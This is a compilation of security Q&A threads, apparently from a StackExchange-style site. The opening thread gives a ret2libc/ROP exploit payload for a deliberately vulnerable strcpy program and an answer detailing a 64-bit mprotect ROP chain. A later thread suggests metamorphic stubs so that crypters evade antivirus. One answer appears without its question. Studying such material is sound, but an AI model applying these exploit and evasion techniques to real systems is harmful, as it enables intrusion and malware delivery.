Why ret2libc is not working in the below code on x86_64? I am trying to bypass DEP in x86_64 (64 bit - ASLR OFF). I have my own vulnerable code and I have also written an exploit code with a basic ROP to jump into system() with parameter "/bin/sh", but it is not working I don't know why.
Vulnerable C code:
#include <stdio.h>
#include <string.h>

void main(int argc, char **argv)
{
    char buff[100];
    strcpy(buff, argv[1]);
    printf("%s\n", buff);
}

Exploit Code for the above C code:
from struct import pack

# mprotect = 0x7ffff7b0bd90
binsh = 0x7ffff7b97937    # find &system, +999999999999999, "/bin/sh"
system_addr = 0x7ffff7a5b520
pop_rdi_ret = 0x00000000004005cb

payload = ""
payload += "\x90"*120
payload += pack("<Q", pop_rdi_ret)
payload += pack("<Q", binsh)
payload += pack("<Q", system_addr)

print payload

Below is the output from exploit code:
[feddy@localhost dep_test]$ ./sample `python exploit.py`
bash: warning: command substitution: ignored null byte in input
�������������������������������������������������������������������������������������������������������������������������@7y���
Segmentation fault (core dumped)

Output from gdb coredump:
Reading symbols from /home/feddy/dep_test/sample...(no debugging symbols found)...done.
[New LWP 11468]
Core was generated by `./sample ����������������������������������������������������������������������'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040056d in main ()
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.27-30.fc28.x86_64
gef➤

Is it because of null bytes in the address (in the stack)?
And, please can anyone help me little to understand the concept of ROP stack frame in 64 bit, I mean 32 bit ROP stack frame is simple to understand as compared to 64 bit and available content on the internet about the 64 bit ROP didn't help me.
Because of that, I am also confused about creating stack frame via ROP for mprotect call for my another exploit code.

Note:
Please, if anyone finds something bad in the question, please let me
know instead of voting it down because it is hard to get a reputation and easy to lose.

There are a few points to note:

1. The strcpy function stops copying stuff into the destination buffer as soon as it encounters a NULL byte. A NULL byte is 0x00 or \x00. In 64-bit machines, the length of an address is 8 bytes. Let us consider pop_rdi_ret = 0x00000000004005cb. This has NULL bytes. So, as soon as strcpy encounters the first NULL byte(the NULL byte next to 0x40), it stops copying. So, the exploit payload is not being injected properly because of NULL bytes.

2. I hope you have compiled your vulnerable program without StackGaurd or the Stack Cookie protection. If that is there, it will kill the program when it detects a stack smash. You can use the -fno-stack-protector compiler flag to compile without StackGaurd.

3. I don't know why you are injecting NOPs into the buffer. There is no harm in doing it, but there is no use either because W XOR X is enabled.

  And, please can anyone help me little to understand the concept of ROP stack frame in 64 bit, I mean 32 bit ROP stack frame is simple to understand as compared to 64 bit and available content on the internet about the 64 bit ROP didn't help me.

When it comes to ROP, there is no difference between 32-bit ROP and 64-bit ROP. That is because in both cases, the ROP Gadgets are chained.

If you are talking about ReturnToLibc, there are differences. ReturnToLibc is the fancy name given what you are doing in the above exploit. You are returning to a libc function to get god access.

The root cause of this difference is the way functions are called. The function calling mechanism in 32-bit and 64-bit processes are different. In 32-bit, arguments are passed to the callee function using the stack. But in 64-bit, the first 6 arguments are passed using registers and if there are any more arguments, stack is used.

Because we are calling functions here, the exploits for 32-bit and 64-bit will be different. As you righty mentioned, ReturnToLibc exploit for 64-bit is more or less ROP because you will have to find gadgets which will load stuff into rdi, rsi, rdx etc., . If you don't find the right gadgets, you will have to chain them.

  Because of that, I am also confused about creating stack frame via ROP for mprotect call for my another exploit code.

Let me help you out with this.

Take a look at the manpage of mprotect.

MPROTECT(2)                         Linux Programmer's Manual                              MPROTECT(2)

NAME
        mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

For 32-bit:

Let us first create the fake stackframe for 32-bit.

Suppose you want to make the stack address space executable.

Let addr = 0xf1f2f3f4, size = 1000, prot = PROT_EXEC | PROT_WRITE | PROT_READ .

The values of PROT_READ = 1, PROT_WRITE = 2, PROT_EXEC = 4. Referring to this sourcefile.

So, PROT_READ | PROT_WRITE | PROT_EXEC = 7.

The strategy is this:

a. Overwrite the vulnerable function's returnaddress with mprotect's address. When the ret instruction is executed, control is transfered to mprotect function and stack is popped. For mprotect, the stack before ret instruction is executed should look like this:

<mprotect's Address>          // This is vulnerable function's return address
<mprotect's Return Address>   // This can be exit libc function
<prot = 0x00000007>
<len = 1000>
<addr = 0xf1f2f3f4>

So, there you go. you have the stackframe you wanted.

For 64-bit:

To exploit a 64-bit vulnerable function, we have to pass arguments through registers. This is not as easy as it was for the 32-bit exploit. This is what we need.

rdi = Stack's address = 0x00007ffff7123456  // just an example
rsi = 1000
rdx = 0x7

Now, we have to find gadgets which directly does this or have to find gadgets and chain them. This is where it gets a bit hard. Writing ROP chains by hand is time taking. You can try out ROPGadget or any other ROP tool out there.

Assuming you get the proper mov gadgets, I will continue my answer.

0x400123: mov rdi, 0x00007ffff7123456; ret
0x401234: mov rsi, 1000; ret
0x412345: mov rdx, 0x7; ret

The plan is, these 3 should get executed in a  row and then mprotect should get executed. So, the stack should look something like this before the vulnerable function's ret is executed.

<0x400123>                  // This is originally vulnerable function's return address
<0x401234>
<0x412345>
<mprotect's address>
<mprotect's return address>

In reality, the stack might be way more complex than this. This is just an example.

I hope you see the difference between the stack of a 32-bit exploit and a 64-bit exploit.

If anything is not clear, leave a comment below.


web applications available for testing? Is there any way to get hands-on experience with Web Application testing while not working as a tester? Are there any initiatives where people post their production and real-world apps for people to test them?

If you're talking about "real-world" applications to test, then like schroeder mentioned, bug bounties are your best bet. But then, while companies have them, there are a few online platforms where you can find a bunch. Examples -

BugCrowd
HackerOne
The Internet Bug Bounty Program

You register with these platforms and more or less just start pentesting live websites like Uber, Netflix etc (make sure to follow their terms and conditions!). These are just the tip of the iceberg. Many companies provide their own bug bounty programs, competitions and so on. Beyond these, well, you could always install instances of buggy applications (WebGoat etc) and practice more.


Is it a weakness to be able to see server side scripting? Are languages such as Cold Fusion and PHP less secure because they are embedded in HTML which is sent to a client? Someone told me they are less secure because they lack abstraction.

CLARIFICATION: I think by abstraction what my friend meant was that the HTML sent is right in the PHP/Cold Fusion file, so it's not like the HTML is abstracted from the script in that sense. By the way, the comment was more directed towards Cold Fusion than PHP (but I guess it's the same since PHP can be imbedded within the HTML that is sent).

I'm not sure how best to approach your question, other than saying "no, it's not a security issue". Abstraction has nothing to do with it. I'm not sure what your friend meant by it, but PHP does have abstraction (classes, inheritance, etc.) and doesn't require you to embed any HTML in your page at all. Modern PHP sites tend to have a data layer, a logic layer (usually facilitated by a set of classes that represent virtual objects on the site), and a presentation layer. CF likely has similar constructs.

One thing I will note (though I can't speak for CF) is that it's notoriously easy to write terrible PHP code, in part because it's so forgiving, and in part because most tutorials don't cover any basic security requirements.

However, here's a few reasons why PHP is considered "insecure" by some:

Silent type juggling, leads to difficult to spot logic errors.
Default configuration leaks information (displays errors, php_info and exec enabled, etc)
Tutorials for MySQL have a heavy dependance on mysql_query with string concatenation, rather than parameterized queries with PDO or MySQLi.
No in-built output filtering functions for XML, JavaScript, etc. The APIs for outputting safely to HTML aren't clear and simple, either.

However, no PHP code is transmitted to the client at any point. It is entirely server-side. It executes on the server, and outputs a result, which is usually HTML.

Don't get me wrong - I actually quite like PHP. It's easy to use, and (despite its quirks) can scale pretty well too. The problem is that it's too easy to write code. PHP makes it remarkably easy to introduce XSS, CSRF, LFI, RFI, SQLi, etc. into your code, because they don't document the potential risks alongside the API reference, nor do they provide obvious and standardised ways of approaching security issues.

My final point is this: languages aren't inherently insecure. Some may make it easy to write bad code but, in the end, it's the developer who created the insecurity, not the language.


When automatic login may be acceptable from the point of view of security? In my organization some IT people is requesting to install devices with automatic login configured. The reason they defend is that the user will be able to perform only very low risk actions: for example, navigating only to one site and not being able to execute any other process.

Is it acceptable to have automatic login in this scenario?

Would be a more complex scenario acceptable?

Will it depend entirely on how the device is used and how we protect that the user escape the security measures and use the device in a non authorized way?

EDIT: When I say "automatic login" I mean "without any type of authentication", booting right to the desktop. Like a "kiosk mode".

We would need some more information on your use case. Is this a kiosk computer?

In this scenario you no longer have the ability to tie specific actions to specific users. Furthermore, users may accidentally leave information which is exposed to other users unexpectedly/inappropriately. Another user may also do something malicious while they have access and this would easily impact the next user.

A lot will depend on your situations. Perhaps it would be acceptable to have some sort of automatic login with a badge or smartcard without and additional password authentication on this machine - thus, each user still have a separate session.

You might also want to look into some controls to wipe back to a clean state and to force a maximum session. This would help to address the risk of one user doing something malicious which will impact the next user or the first user accidentally leaving confidential information which the next user should not see.

There is software like Deep Freeze that can provide some such features. You may also want to use some type of thin client setup that only goes to a Citrix session on a VM that you can easily roll back to a point in time.

While the actions the user is intended to do are low, the risk is still high in the actions the user could do. You can balance the risk with some processes and controls.

Note just running a system in Kisok mode without rebuilding to a clean state is not sufficient, as the user may modify the browser or find system artifacts, even in a locked down browser using a privacy/incognito mode.


Should I block users from viewing SQL files? I've been told it's wise to use .htaccess to block users from viewing .sql files etc. Looking for advice on this. If I block user access, will this affect my admin-side ability to write to sql? If so, can I use .htaccess to provide an exception for my admin-side?

Generally, there should never be a .sql file stored in the document root directory. There are a few reasons for this, but mainly because these files leak information about the database(s) in your environment.

Blocking users seeing those files will not inhibit your ability to perform administrative tasks on your server. However, I should stress that those files should not be present in the first place, so blocking them would not gain anything.


Using mutiple keys to encrypt the same text with the password as a key but someone changes their password I want to make a messaging social network but am worried about the NSA wiretapping all my members at once without merit like they wanted to do with Lavabit.

I've found a way to encrypt messages using multiple keys (one key for each user, so that multiple users can see the same message), and thought the best way to do so is to use the user's typed in password as a key which I salt and hash to compare to the salted and hashed version in the database to see if they match, as I don't have access to the password and it's personal to the user.

But what if someone changes their password? Then their password key won't be able to access their encrypted messages. What's the best way to go about this? It's not like I can store the key in the database.

But what if someone changes their password? Then their password key
  won't be able to access their encrypted messages. What's the best way
  to go about this?

When someone changes their password, every system I am familiar with requires the user to type in both the old password and the new password.

simple

If there is only a small amount of encrypted data, and you want your user to be able to access that data with only the new password, the simplest approach is to decrypt all that data with the old password to recover the plaintext, and then encrypt the plaintext using the new password.

indirection

My understanding is that many systems have several levels of indirection.
When someone wants to read the plaintext of one document, behind the scenes what really happens is the typed-in password is used to decrypt a keyring that stores (in encrypted form) a master key.
(typically the "~/.ssh/id_rsa" file or the "~/Library/Keychains/" file).

The encrypted document is typically stored in RFC 4880 OpenPGP Message Format or something similar.
The master key is used to decrypt one of the blocks in the header corresponding to that master key, giving the unique symmetric key used only for the body of this one document.
Then that symmetric key is used to decrypt the body of the encrypted document, producing the plaintext.

When someone changes to a new password, generally the old password is used decrypt the entire keyring, and then the system encrypts the keyring with the new password.
All the files are still accessible to that user, because the exact same master key is used to decrypt that file.

Alternatively, for each document the user has permission to access, one could add another block to the header of that encrypted file that contains an encrypted version of the same document-unique symmetric key, encrypted by a fresh new master key.

Ideally the user would carry around his own keyring and no one else would ever have access to it.
In practice, many systems store an (encrypted) keyring for each user.


Constructing file path from database table leading to vulnerability CWE 73: Directory Traversal I have a table where the machine name, directory path and filenames are stored; when requested, I am supposed to return the content of the file by concatenating the machine_name + '\' + directory_path + '\' + filename but this gets listed as a directory traversal vulnerability. While I see that database table is treated a tainted source, I am wondering how to resolve this situation. I tried to RandomAccessReferenceMap from ESAPI, it works if I swap direct and indirect references but I would like to know if there is any other standard way of forming the paths from the database tables.

If the database is considered a tainted source (which makes sense e.g. if you want to defend against changes in the database performed by SQL injection), you need to follow the standard procedure to sanitize the contents. So you should verify that the machine name contains only allowed characters (and if the dot is allowed: that it does not contain consecutive dots), that the directory path does not contain '/../', start with '../' or ends with '/..' (maybe also stricter validation) and that the file name at least does not contain any slashes.

You likely should read about path traversal attacks and recommended validation and sanitization policies for file and path names instead of blindly following my suggestion, as they are just what occurred to me as minimum requirements.


Storing a password securely as part of a webservice Say I'm creating a public web service which needs to write files to a Dropbox account (just an example). It needs to write files to one central account, not one per user. This service needs to access the Dropbox account with a password. I want the web service to be able to access my Dropbox account without exposing the password publicly. How might I accomplish this? If I encrypt the password in a separate file, the encryption key would still need to be in the public file that contains the code for the service.

If this is really for Dropbox, don't.  Dropbox has an API and OAuth.  Use Dropboxe's OAuth provider to get an OAuth token for the user instead, and you can store that. Do not take, or store the user's credentials.

If it is for a service that does not expose an authorization provider, and you do actually need to store the credentials on the user's behalf, you must do so very carefully.  Preferably they'll be stored in a separate service, with only authenticated sessions being presented back to your main application to reduce the attack surface area.  The credentials themselves should be stored in an encrypted format, and the encryption key should be stored as securely as possible, preferably in an HSM.

When you have data as valuable as authentication credentials for third-party services, your duty of care to protect those assets is very, very high.  Defense in depth is going to be critical, as is limiting access, logging and monitoring, and detailed threat modeling to understand the scope of your attack surface.


Source of http://t.sigopn03.com/... tracking-style link in an email signature? A coworker received a Bounced Email notification when trying to send a message from her personal Gmail to our GoDaddy-based support email: the error message included "This message has been rejected due to content judged to be spam by the internet community IB212".

I noticed that the hyperlinks in her email signature--two links to our websites--included something that looks like a tracking link. Example link: http://t.sigopn03.com/e1t/c/5/f18dQhb0S7lC8dDMPbW2n0x6l2B9nMJW7t5XYg4XrjvYVdDNqq5wLKJ8W8rByXx56dLfSf1Fh9j-02?t=http%3A%2F%2F[ website]%2F&si=6113506899787776&pi=d51a010b-8a97-4712-a6bd-40ba154663e3

Our GoDaddy email server was rejecting messages with the signature, but new messages from her came through fine when signature is removed.

She does not to her knowledge use any sort of analytics or click-tracking software, and I'm wondering where this hyperlink addition came from. I am not finding any overt references to this http://t.sigopn03.com site in google results, though it does appear on a handful of email transcripts with sig link.

Anybody know anything about t.sigopn03 or its affiliation? Something to be concerned about?

Quick lookup shows domain is owned by MARKMONITOR, INC.

https://en.wikipedia.org/wiki/MarkMonitor

  MarkMonitor Inc. is an American software company founded in 1999. It
  develops software intended to protect corporate brands from Internet
  counterfeiting, fraud, piracy, and cybersquatting. It also develops
  and publishes reports on the prevalence of brand abuse on the
  Internet. MarkMonitor acquired AllDomains in 2001 and DtecNet in 2010.
  MarkMonitor was then purchased by Thomson Reuters in 2012. In 2016,
  the IP division of Reuters, including MarkMonitor was sold to two
  venture capital companies, under the new parent company "Clarivate
  Analytics".


Assuming proper creation, encryption, and storage, how is a breach/leak of a hash worriesome? Let's say I create a pseudo-random password that is secure (24 alhpa numeric, upper lower, special chars...) for a system (say a password manager). Let's assume the password manager encrypts and otherwise stores my password securely. Then one day a hash of my password is leaked or stolen. How is this any more of an issue to me than simply changing my password as per my standard schedule (every 30days)?

For clarification, when you create a password, you are to automatically assume that the hash is known right off the get-go, (essentially already breached/leaked/stolen). The protection here is the fact that it will take longer than 30 days to brute force a random password so you are theoretically safe, right?

What am I missing in my threat assessment?

What matters for a password is not its length or whether it contains "special characters", but its entropy. The entropy is a measure of "how much unknown" the password is to the attacker. Since we assume the attacker to be overwhelmingly smart, this "how much unknown" reduces to "how much random": the attacker cannot be defeated by wit, but by randomness.

A definition of entropy which is appropriate for cryptography is the following: a password contains n bits of entropy if the attacker, trying potential passwords in optimal order (starting with the most probable of potential passwords), will need an average of 2n-1 tries before hitting the right one. This definition captures non-uniform password distributions; when the password distribution is uniform (all potential passwords have the same probability of having been chosen by the user), then entropy is n bits if there are 2n potential passwords.

Entropy cannot be assessed by looking at a single or even a selection of passwords; it must be computed by analysing the password generation process (and we assume that the super-smart attacker knows everything about that process except the random choices). Elements of that generation process that involve a human brain tend to be hard to estimate, because human minds are no good at randomness and try to replace it with "tricks". For instance, many people tend to believe that "special chars" (like $, %,&, @...) are somehow "more secure" or "more random" than letters. Mathematically, this does not hold.

More on the notion of entropy and its calculation is explained in that answer.

Therefore, if you want your password to resist attackers, then you must make it so that it has entropy n bits, such that 2n-1 exceeds (preferably with some margin) the number of tries (password hashes) that the attacker is ready to make. This threshold depends on several parameters, including the attacker's patience (how long he will be ready to allocate his computing power on the task of breaking a single password) and, ultimately, his budget (which translates to the number of CPU that he will be able to use on that task). Depending on the used hash function, the individual cost of each try can be configured; see this answer for some details.

Changing your password every 30 days has an impact on this analysis only if the attacker's patience was longer than one month. In practice, this is rarely the case: if the attacker has enough budget to devote 200 computers for one full month on breaking your password, then he is probably richer than you, and this raises the question of why he would want to break through your password anyway. On the other hand, password renewal implies more memory effort on your part, so it will incite you to choose "less random" passwords, which is a problem.

Password renewal policies are a firmly entrenched notion in the business of information security; many sysadmins insist on regular renewal, and security frameworks tend to treat it as gospel. This is, however, a kind of traditional dogma that does not really resist analysis, especially in the modern world (frequent password renewal used to be effective, but that was back in the pre-computer era and in a military context, where password storage systems were weak, leaked a lot, and it was assumed that a number of passwords were under enemy control at any point). See this answer for some more food for thought.

Summary:

Don't generate passwords with your head; use a computer to get a random password. See this question for guidance.
For hashing, use a proper password hashing function (typically bcrypt) configured with a high enough iteration count (higher is better, as long as it does not make it too expensive for you to use).
All other things being equal, it is better to have more randomness in a password than to insist on a password renewal policy. I recommend that you generate a very random password, and stick to it (you can remember a high entropy password if you keep it active for a long time, and type it daily).


How do AV vendors select malware signatures? AVs use signatures to identify malware which are often strings of bytes or regular expressions thought to be unique to that malware. Do reverse engineers select these signatures by hand or do they use an automated method? How do AV vendors know the signature they select won't result in false positives?

From what I know, both methods are used.

Signatures can be generated by automated programs that are fed malicious samples, and from there, extract strings, data, attributes, etc. that can be used to create automatically create a signature.

Also, researchers will often analyse new, unknown samples in order to search for unique strings, data, attributes, that can be used in order to create a signature. You can't really automatically release a signature for a brand new strain of malware if you have no idea of what it is first. However, since most malware share similar caracteristics, automated processes can be used to detect new samples.

You might want to take a look at Intezer, it does just that.

https://www.intezer.com/

I'm sure that many Antivirus companies also have similar "in-house" products for this.

As for your other question, usually, signatures goes through QA before being released in production, specially if they're new signatures that have been built from scratch. Though from time to time, it is possible that a bad signature gets pushed via an update, and it can result in the deletion of legitimate file (ie: system files). It happened before, it still happens today and will most likely still happen in the future.


Why do credit cards have chips, if I can purchase online without the chip being read? Credit cards (and debit cards) are used in three different ways:

In person + pin. The seller requires me to insert my card with the chip and input the PIN number to complete the transaction.
In person + tap. Under $50 a simple tap would do.
Not in person. Online or over the phone, the chip is not being read and no PIN is requried.

Why this "double-standard"?

With cardholder-not-present transactions, if the transaction turns out to be fraudulent, the retailer has to refund the money. With Chip and PIN, the retailer gets to keep the money, and either the bank or the cardholder bears the loss of the fraudulent transaction, depending on whether the cardholder has told anyone else their PIN or not. So retailers want to use Chip and PIN where they can, to protect themselves against fraud. Obviously, they can't use it for online transactions, so they have to accept the risk for those transactions.


How to protect the Session ID? I have been doing some reading over the past few days on Session IDs and the methods taken to prevent people from intercepting them and using them to hijack a session.

From what I have read, when sending the Session ID in a cookie to the browser SSL/TSL should be used to prevent someone from packet sniffing the Session ID and this cookie should be set to HttpOnly so that it cannot be read by JavaScript.

I personally thought checking that the client IP address from which the Session ID is being received from is constant would be a good additional measure but I have read conflicting arguments online about people saying that proxies and other things may mess with this.

My questions are:

Is SSL/TSL and HttpOnly enough to be sure that a session cannot be
hijacked?
Is there a way to use client IP addresses as an extra layer of
protection?
Are there any more measures that can be taken to protect a session?
Can we ever be 100% that someone cannot hijack a session?

Is SSL/TSL and HttpOnly enough to be sure that a session cannot be hijacked?

Those are the must dos, and they offer good  (but not perfect) protection. See question four.

  Is there a way to use client IP addresses as an extra layer of protection?

Just checking that a session ID is used by the IP that created it will break your site for a lot of users, e.g. for mobile users who might not have constant IP:s. (It will also not protect users if the attacker is on the same LAN and share the users IP.) This is not recommended.

What you could consider is using geo location. If a session ID created for a user in Mexico suddenly is used by someone in China five minutes later it might be a sign that something is wrong. On the other hand, this will break things for people using Tor and some VPN:s that rotates IP:s.

  Are there any more measures that can be taken to protect a session?

Yes. Make sure that you generate long, random session ID:s with a CSPRNG.

Also, make sure you are not vulnerable to session fixation by not accepting session ID:s you have not generated yourself and/or changing the session ID on login.

  Can we ever be 100% that someone cannot hijack a session?

No. You can never be 100% sure about anything regarding security (or anything at all, for that matter). For instance there is no way you can protect your users from someone with physical access to their computer, since that would allow the attacker to just read the session ID from the cookie in the browser.


Can't force HTTPS when connecting to proxy server, even though port 443 is open I've been trying to use HTTPS whenever I do sensitive web browsing through a proxy server.  Ideally I use a combination of HTTPS, an anonymous or elite proxy, and DuckDuckGo for all my web searches.  Recently I encountered a problem with this though.  Up until now, I've had no problem forcing HTTPS when I connect to a proxy, but just now I started getting a "400: Connection Refused" error when I do this.  I used NMap to see which ports were open on the proxy.

sudo nmap -p 1-1024 -sX 0.0.0.0
Nmap scan report for 0.0.0.0
Host is up (0.092s latency).
All 1024 scanned ports on 0.0.0.0 are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 96.98 seconds

So all ports are open, including 443, so I should be able to do it.  I got this error for every proxy I tried, so it seems to be a problem at my end.  The NMap output suggests that it may have something to do with the firewall.  Also, I was able to telnet to port 80 but not 443.

So basically my question is, why is this happening, and how do I resolve it?

I'm guessing you're using an anonymous proxy and this isn't something you or your company are in control of. If so, you really are at the mercy of the configuration of that server. Your nmap output is also not something I would take to heart, a system with 1,024 ports open is unrealistic.

All 1024 scanned ports on 0.0.0.0 are open|filtered

I'm pretty sure you're traffic is being filtered somewhere along the line which is breaking nmap. Also, a Xmas scan isn't something I would suggest using unless you have specific use for it, stick to something like a TCP scan (-sS) or even a connect() scan (-sT). It very well may be that your scan is lighting up some appliance along the way and it's dropping packets thinking the traffic is bogus.

An HTTP 400 is a bad request. This could be something incorrect in your transmission, like an invalid header, or it could be that the server doesn't speak in HTTPS and you're trying to talk to an HTTP only server using HTTPS. You would likely need to look at the Proxy access logs for more information on the 400. You might have something locally if you can enable debug logging, maybe even a packet trace.


How can Runtime-Crypters stay FUD A Runtime Crypter always works with the same principle: It decrypts its payload, starts up a process in suspended state, inserts the payload and resumes the suspended process under false flag. All this happens with calls to Winapi functions like CreateProcessA, ReadProcessMemory. WriteProcessMemory etc.

And even tho the malware that gets injected by the Runtime Crypter might be hardly detected by any AV (because it's writting into RAM instead of on the disc): How can it be that a modern Crypter itself is not detected by AV? I mean even if I add a lot of junk code to change the Signature, the suspicious function calls abovementioned have still to be there. Heuristic analysis should technically be able to detect such malware, shouldn't it?

You can inject a stub in your target file, and make that this stub would be metamorphic and so as when it will be loaded into memory, your pe will have a lot of differentt signatures. But it's very long to create and to realize.


Detecting malware-infected USB drives I'm about to distribute some relatively cheap promotional usb drives to some of my company's clients. I'm fairly confident the company I purchased them from wouldn't intentionally implant malware on the drives - but they were pretty cheap - how can I be sure that they do not have some sort of malware or rootkit secretly installed on them from the manufacturer?

You don't need anti-virus. Simply look at the contents of one of the drives. Are they empty? Fine, then you are ok. Pull random samples out and check them.

If you asked the vendor to put files on the drive, such as promotional materials for you company, then makes sure that the files match precisely.

Remember: do this from a machine with the latest patches. For example, you don't want to do this with a Windows machine with autorun enabled, or the virus will hop to your machine, infect it, then hide its files from you. A recent Mac or Linux machine will probably be safe.

Beware that USB drives can have multiple "partitions", one of which might appear as a CD-ROM drive. Check not just the one you expect, but these additional partitions as well.

All this assumes the device acts as a normal flash drive. Hackers can do something more nefarious, such as pretend to be a keyboard and inject keystrokes that log the hacker in. It's so unlikely that you don't have to worry about it, but if you do, then you'd have to hire an expert to test them.

Lastly, because of these security concerns, promotional USB drives are a very bad promotional items. Most Fortune 500 corporations and the military have rules dictating that such drives should be destroyed, and never plugged into a computer.


You're looking at a version 4 signature packet.

From RFC 4880:

5.2.3.  Version 4 Signature Packet Format

   The body of a version 4 Signature packet contains:

     - One-octet version number (4).

     - One-octet signature type.

     - One-octet public-key algorithm.

     - One-octet hash algorithm.

     - Two-octet scalar octet count for following hashed subpacket data.
       Note that this is the length in octets of all of the hashed
       subpackets; a pointer incremented by this number will skip over
       the hashed subpackets.

     - Hashed subpacket data set (zero or more subpackets).

     - Two-octet scalar octet count for the following unhashed subpacket
       data.  Note that this is the length in octets of all of the
       unhashed subpackets; a pointer incremented by this number will
       skip over the unhashed subpackets.

     - Unhashed subpacket data set (zero or more subpackets).

     - Two-octet field holding the left 16 bits of the signed hash
       value.

     - One or more multiprecision integers comprising the signature.
       This portion is algorithm specific, as described above.

Above it says:

   Algorithm-Specific Fields for RSA signatures:

     - multiprecision integer (MPI) of RSA signature value m**d mod n.

So what you're seeing is indeed the integer denoting the RSA signature (which naturally can't be larger than your key that is the RSA modulus).


Java Applet for mutual authentication with smart card I need to develop a java applet, for a mutual authentication between Tomcat 6 (server) and a SmartCard "IDGo 300" (client).

In order to do this I thought the following scheme:

Tomcat (server) send to SmartCard (client) the request of his digital certificate (signed by CA).
Client enters PIN and selects an available certificate on the smart card, then the Applet sends his certificate (signed by CA) to tomcat. tomcat verifies the digital certificate and if correct sends back his certificate.
The applet verifies the certificate of the server, and if the certificate is correct sends a confirm to server.
The server gives full access to the client to use the web application.

Questions:

Is this scheme feasible?
I would like to manage everything through my applet and when the client disconnects the smart card he loses access to the server.

Yes.  This is feasible.  There is a standard way to achieve this: you use SSL with a client certificate.  This feature of SSL already does exactly what you want, and it has been well-vetted, so I recommend you use it.

In this scheme, the client certificate and associated client private key is stored on the smartcard.  The private key never leaves the smartcard.  To prove the client's identity, the server sends a challenge and the smartcard signs it (and other stuff) with the client private key -- this is all built into SSL, so you don't need to implmeent it yourself, I'm just giving you some intuition for how the protocol works.

No Java applet is needed.  All you need is for your browser to support PKCS#11.  For instance, Firefox supports this.

If for some reason you do want to use a Java applet, you again want to check out PKCS#11, the Java Crypto APIs, and the Sun PKCS#11 cryptographic provider.  See also this question.


Where to report egregious credit card and phone esn data leak I'm not sure if this is the right community to be posting this in, please point me in the right direction if not.
I recently discovered that my cell service provider (an MVNO) has an unauthenticated API that returns (among other things) my credit card information (name, number, expiration date, address, CVV), hashed passwords and account numbers, and my phone's ESN number. Something like this:
Request
curl --data "phone=1234567890" https://example.com/api/getdata

Response
Please note: I've stripped out a lot of data and renamed the keys. There were a bunch more fields that didn't seem very important.
"account": {
  "phoneNumber": "1234567890",
  "ESN": "1111111111111111111",
  "startDate": "01/01/2010 00:00:00",
  "payment": {
    "card": "1111111111111111",
    "CVV": "111",
    "name": "My Name",
    "expMonth": "01",
    "expYear": "2021",
    "street": "111 Example Street",
    "zip": "11111"
  },
  "accountNumber": 11111111,
  "balanceEndDate": "01/01/2020 00:00:00",
  "balance": 0,
  "status": "Active",
  "planId": 00000,
  "password": "<what looks like a salted MD5 hash.>"
}

That is enough data to do a lot of damage. Besides using the card, they can port my number to a different carrier and use 2-factor authentication to reset passwords to a lot of my most security related accounts (think bank).
I discovered this the other day by using their website. They have a "Refill" option that takes your phone number and tells you your balance and lets you refill. When I realized they were telling my the balance without signing in, I opened the developer tools to look at the ajax response. To my surprise (and horror), I saw my credit card information.
What to do?
I'm not sure who I should report this to other than Visa/MasterCard. Are there any government/industry groups that would be interested? I'm in the US.

First of all:

you do not report this to the government/external party/visa/mastercard

External parties serve to complicate matters via conflict of interest. It is not their business, it is the business of the company who has the vulnerable api. It is not for them to decide how to handle this, but the company.

Tell no one in your circle of friends, family or anyone about the details.

Here you can get yourself into trouble very easily. If it is discovered later that someone you knew used or attempted to use the information, you could be held accountable for reckless action, or at the very least investigated heavily. Don't put yourself in this position and tell no one anything that would allow them to repeat the vulnerability.

Don't panic

The best thing you can do right now is calmly make a plan and execute it. Anyone who is in the position to exploit this likely already knows about it. Anyone who is not is likely not going to discover this within the next few days.

Now, on to: Responsible Disclosure

Step 1 - Prepare

Before anything we need to make sure that the vulnerable API is well documented and has a set of instructions. For example, a small report, doesn't have to be long, just easy to follow. The idea is, the intern within the office should be able to follow the steps, reproduce the vulnerability and successfully identify the security risks. A small PDF or WORD document will do, just make sure you have something ready in case things move quickly.

Step 2 - First Contact

Next comes first contact with the company. First contact is a delicate thing. On the one hand you would expect that the company has the interest of their customers as a first priority. On the other hand some companies respond rather poorly (and in my opinion, irresponsibly) to people disclosing vulnerabilities for the benefit of everyone involved. For this reason you want to withhold the exact details until an agreement is made that no action will be taken against you.

Me, I'm the paranoid sort, and when I encounter this sort of thing ill go to a coffee shop, use TOR and use an email (one I've set up by using a similar process) to initiate first contact. It is however up to you what level of anonymity you wish to use.

Some things you can check. If the company has a bug bounty, or has a disclosure policy. You should be fine. You can call the company and ask if they have a department responsible for security disclosures. Most companies of this size have an security@company.com email. All of these would have information that would lead you to exactly where first contact should be made.

Step 3 - Processing

Once you are talking to the right person, it should work itself out from there, except as I've previously noted, if there is no bugbounty or disclosure policy make sure you get them to agree to a terms of disclosure that involves your safety first. At some point you will hand them the document you made in step 1.

Step 4 - Closure

The last step to do is public disclosure. This step is entirely optional, and will be heavily tied into the agreed upon disclosure terms in step 3. But usually both parties agree to an amount of time that the company has to fix this vulnerability before a public announcement can be made. It's entirely normal for the researcher to desire to post it on their blog, or use it as reference material for other projects or qualifications. This time period makes sure that the company is not put under undue pressure and gives them time to act.

Congratulations, you just had your first responsible disclosure. You may choose to not announce it ever, and that's fine. In that case the time period from step 3 would be, for you, when you can safely tell friends and family exact details.

I wish I could give rep for desiring to disclose responsibly, alas, in stead I'll wish you the best of luck. Try to be discreet, keep yourself safe, and try to work with them. Good Luck.


What are the tradeoffs in cost, effort, and value in moving a database server to a virtualized DMZ environment? I am quite new to the DMZ concept and working on a project as part of my master thesis where Remote access is required for the Development environment. However, there is a functional requirement for minimum latecy in the connection since video playing slow or getting stuck is not acceptable. So I have this thought of moving DB server from internal network to the DMZ zone. Where all development tools that are running on Server 1 will sit next to Server 2 running the DB.

However there are the following issues that erupt from this:

Data Redundancy
Data is edited by both internal and external employees so the quality and real time access to current data is a must.
And of course the biggest of all is that if DB server is compromised all the data on it will be compromised as well.

So my other thought is to move only the specific instances of the DB required during development process which will sit next to the Server 1 which is running the development tool. Though it doesn't the system fool proof, it reduces the risk of complete Db compromise.

Still, the question remains on maintaining data quality in the DB and the replication of data from the DB server inside the internal network to the DB server running in DMZ.

Can someone please give me any thoughts on this approach??? Considering factors like maintaining consistency of data, cost and performance and ultimately the security.

Thanks a lot in advance.

